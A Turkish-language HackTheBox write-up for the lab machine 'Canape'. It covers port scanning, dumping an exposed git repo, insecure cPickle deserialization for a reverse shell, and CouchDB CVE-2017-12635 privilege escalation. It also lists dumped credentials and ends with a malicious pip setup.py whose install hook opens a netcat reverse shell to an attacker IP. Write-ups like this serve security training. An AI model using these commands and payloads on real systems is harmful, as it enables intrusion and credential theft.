Canape sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.
- IP Adresi: 10.10.10.70
- İşletim Sistemi: Linux
A) Port Tarama
Standart port taraması sonucunda 2 adet portun açık olduğu tespit edilmiştir.
nmap -n -Pn -T5 -p- 10.10.10.70
Ardından açık olduğu tespit edilen portlar üzerinde bulunan hizmetlere ait detayların tespiti için versiyon ve detaylı tarama gerçekleştirilir.
nmap -n -Pn -sV -p80,65535 10.10.10.70
nmap -n -Pn –script=vuln -p80,65535 10.10.10.70
Açık portlar aşağıdaki gibidir:
- TCP\80: Apache httpd 2.4.18
- TCP\65535: OpenSSH 7.2p2 Ubuntu 4ubuntu2.4
B) SSH Servisinin İncelenmesi
Gerçekleştirilen nmap taramasında, TCP\65535 portunda çalışan SSH servisinin sürümünde (OpenSSH 7.2p2 – Protocol 2.0) herhangi bir zafiyet bulunmadığı tespit edilmiştir.
C) HTTP Servisinin İncelenmesi
Gerçekleştirilen nmap taramasında, TCP\80 portunda Apache (HTTPD 2.4.18) servisi çalışmaktadır. İlgili adresi tarayıcı üzerinden ziyaret ettiğimizde karşılaştığımız site, Simspons Fan sitesidir.
“View Quotes” bağlantısına tıklandığında erişilen sayfa aşağıdaki gibidir.
“Submit Quotes” bağlantısına tıklandığında erişilen sayfa aşağıdaki gibidir.
“dirb” aracı ile dizin taraması ile de bir takım dizin ve dosyaların keşfi de gerçekleştirilebilir.
D) Git Reposunun İncelenmesi
Detaylı nmap taramasında bir git reposu ile karşılaşılmaktadır.
nmap -n -Pn -p80,65535 -sV -sC 10.10.10.70
Bu URL’e gidildiğinde dizin geziniminin olduğu görülmektedir.
Git reposu ile ilgili detaylı bilgi için GitTools aracı kullanılabilir.
git clone https://github.com/internetwache/GitTools.git
cd GitTools
ls
ls Dumper/
Git reposu indirilebilir.
./gitdumper.sh http://10.10.10.70/.git/ .
Ayrıca web tarayıcısı üzerinden de alt dizinler / dosyalar incelenebilir.
http://10.10.10.70/.git/config
Log kayıtlarından commit’ler incelenebilir.
http://10.10.10.70/.git/logs/HEAD
Bir dosya içerisinde __init__.py ile karşılaşılır.
http://10.10.10.70/.git/COMMIT_EDITMSG
D) cPickle / Pickle Kütüphesindeki Kod Çalıştırma Zafiyeti
Pickle/cPickle modülü, Python nesne serializasyonu için kullanılır. Bu kütüphaneye verilen değer veritabanı gibi güvenilir bir kaynaktan değil de, son kullanıcı gibi güvenilir olmayan bir kaynaktan alınırsa, kod çalıştırma zafiyeti (Arbitrary Code Execution) olarak istismar edilebilir. Bu sebeple serializasyon ihtiyaçları için JSON gibi formatlar kullanılmalıdır. Pickle/cPickle modülündeki zafiyet ile ilgili detaylı bilgi için kaynaklardaki Lincolnloop ve Helhage bağlantıları incelenebilir.
__init__.py dosyası incelendiğinde “cPickle” kütüphanesinin import edildiği görülmektedir.
Not: Kaynak kod içerisinde TCP\5984 portunda CouchDB servisinin hizmet verdiği de görülmektedir.
Kaynak koda göre, /submit sayfasında POST edilen “character” ve “quote” değerleri NULL değil ve Whitelist içerisindeki ifadelerden birisi (“homer”, “marge”, “moe”,…) ise, bu 2 değer birleştirilir (“char+quote”) ve bu ifadenin MD5 değerinin HEX hali “p_id” (= MD5(char+quote).HEX ) değişkenine atanır. Sonra da “/tmp” dizini içerisine, uzantısı “.p” ve adı “p_id” olacak yeni bir dosya oluşturulur ve içerisine de “char+quote” ifadesi yazılır. Yani, kullanıcıdan alınan değerler “/tmp/[p_id].p” gibi bir dosya içerisine yazılmış olur.
Kaynak kodun devamında ise, /check sayfasının içeriği bulunmaktadır. /check dizinine POST ile gönderilen pickled nesne verisinin okunduğu (“cPickle.loads(data)”) görülmektedir. Okunan veri de “/tmp/[id].p” dosyasının içeriğidir.
Özetle, /submit sayfasına POST edilen “quote” içeriğindeki ifade (shellcode) Pickle kütüphanesinin loads() fonksiyonuna girdi olarak verilecek, güvenilir olmayacak bir şekilde deserialization (insecure deserialization) işlemi gerçekleşecek ve enjeksiyon işlemi gerçekleştirilecektir. Sonuç olarak da dosyaya yazılan ifadeler uygulama kullanıcısının yetkisi ile çalıştırılacaktır.
E) cPickle / Pickle Kütüphesindeki Kod Çalıştırma Zafiyetinin İstismarı
Uygulamanın istismarı için pixploit.py betiği kullanılabilir.
https://github.com/Sayantan5/Canape
İndirilen dosya içeriğinde ters bağlantı almayı sağlayacak olan shellcode içerisindeki IP değeri değiştirilir.
wget https://raw.githubusercontent.com/Sayantan5/Canape/master/pixploit.py –no-check-certificate -q
ls
cat pixploit.py
nano pixploit.py
grep “Add shell here” pixploit.py
Hazırlanan betiğin çalıştırılması sonucunda shellcode çalışır ve uygulama kullanıcısı (“www-data“) yetkisi ile ters bağlantı elde edilir.
F) CouchDB Üzerinde Hak Yükselme Zafiyetinin İstismarı
Apache CouchDB; dağıtılmış, doküman odaklı, ilişkisel olmayan bir NoSQL veritabanıdır. CouchDB üzerinde tablolar bulunmaz, belgeler (documents) bulunur. CouchDB ile HTTP isteklerine JSON verisi olarak cevap alınabilir.
Mevcut ortamda TCP\5984 portunda CouchDB çalışmaktadır.
CouchDB’ye yapılan örnek talepler aşağıdaki gibidir.
curl -X GET http://127.0.0.1:5984
curl -X GET http://127.0.0.1:5984/_all_dbs
curl -X GET http://127.0.0.1:5984/passwords/all_docs
Yukarıdaki sorgular ile CoucheDB sürümünün 2.0.0 olduğu, aralarında “passwords” ve “simpsons” gibi veritabanlarının olduğu görülmektedir. Ayrıca “password” altındaki dokümanlara erişim için yetkinin yetersiz olduğu da görülmektedir.
Tespit edilen CouchDB 2.0.0 üzerinde CVE-2017-12635 Id’li hak yükseltme zafiyeti bulunmaktadır.
searchsploit couchdb
https://www.exploit-db.com/exploits/44498
Bu zafiyet veritabanı sunucusu tarafındaki JSON parser ile istemci tarafındaki Javascript JSON parser arasındaki uyumsuzluktan kaynaklanır. Bu zafiyet ile ilgili detaylı bilgi için kaynaklardaki Justi bağlantısı incelenebilir.
Zafiyet ile yönetici yetkisinde bir kullanıcı oluşturulabilir.
curl -X PUT ‘http://localhost:5984/_users/org.couchdb.user:Yonetici’ –data-binary ‘{“type”:”user”,”name”:”Yonetici”,”roles”: [“_admin”],”roles”: [],”password”: “GizliParola123!”}’
TCP\5984 portu sadece localhost üzerinde hizmet verdiği için, bu zafiyetin istismarında kullanılacak 44498.py isimli python betiği kurban makineye aktarılır ve çalıştırılır.
python 44498.py -p 5984 -u orhan -P orhan 127.0.0.1
Yetkili bir kullanıcı oluşturulduktan sonra daha önceden okunamayan verilere erişim sağlanabildiği görülmüştür.
curl -X GET http://orhan:orhan@localhost:5984/_all_docs
Veritabanındaki her bir öğeyi sorgulamak için de ilgili referans ID değeri URL’in sonuna eklenir.
Sorgulamalar sonucunda bir takım kimlik bilgileri elde edilmiştir.
curl -X GET http://orhan:orhan@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
curl -X GET http://orhan:orhan@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d
curl -X GET http://orhan:orhan@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438003e
curl -X GET http://orhan:orhan@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438004738
Elde edilen kullanıcı adı ve parola bilgileri aşağıdaki gibidir.
- couchy –> r3lax0Nth3C0UCH
- homer –> h02ddjdj2k2k2
- (BOŞ) –> 0B4jyA0xtytZi7esBNGp
H) Homer Kullanıcısı İle SSH Erişimi
“homer” kullanıcı adı ve “0B4jyA0xtytZi7esBNGp” parolası ile SSH yapılabildiği görülmüştür.
ssh homer@10.10.10.70 -p 65535
I) Sudo Yetkisi Verilmiş Pip * Komutunun İstismarı: FakePip Betiği
“homer” kullanıcısı “/usr/bin/pip install” komutundan sonraki ifadeleri “root” gibi çalıştırabilmektedir.
Bu yetkilendirmenin istismarı için FakePip aracı kullanılabilir.
https://github.com/0x00-0x00/FakePip
İndirilen betiğin içerisindeki IP ve Port bilgisi değiştirilerek ters bağlantı erişimi elde edilecektir.
Kurban makinede “pip” komutunun çalıştırılması ile Kali makineye ters bağlantı elde edilebilmiştir.
sudo /usr/bin/pip install . –upgrade –force-reinstall
J) Sudo Yetkisi Verilmiş Pip * Komutunun İstismarı: Manuel Olarak
“pip” aracına verilecek olan “setup.py” betiği içeriği olarak aşağıdaki komut da kullanılabilir.
1 2 3 4 5 6 7 8 9 |
from setuptools import setup from setuptools.command.install import install import os class ins(install): def run(self): install.run(self) os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 80 >/tmp/f') setup(name='BigDaddy', cmdclass={'install':ins}) |
Böylece ters bağlantı elde edilir.
sudo pip install .
Kaynaklar:
https://medium.com/@orhan_yildirim/canape-hackthebox-write-up-f2e4c8f08236
https://www.secjuice.com/ctf-walkthrough-canape-hackthebox/
https://www.secjuice.com/hackthebox-canape-write-up/
https://medium.com/@arkanoidctf/hackthebox-writeup-canape-9c967510d8b6
https://www.absolomb.com/2018-09-15-HackTheBox-Canape/
https://godiego.tech/posts/Canape/
https://0xdf.gitlab.io/2018/09/15/htb-canape.html
https://lincolnloop.com/blog/playing-pickle-security/
https://blog.nelhage.com/2011/03/exploiting-pickle/
https://justi.cz/security/2017/11/14/couchdb-rce-npm.html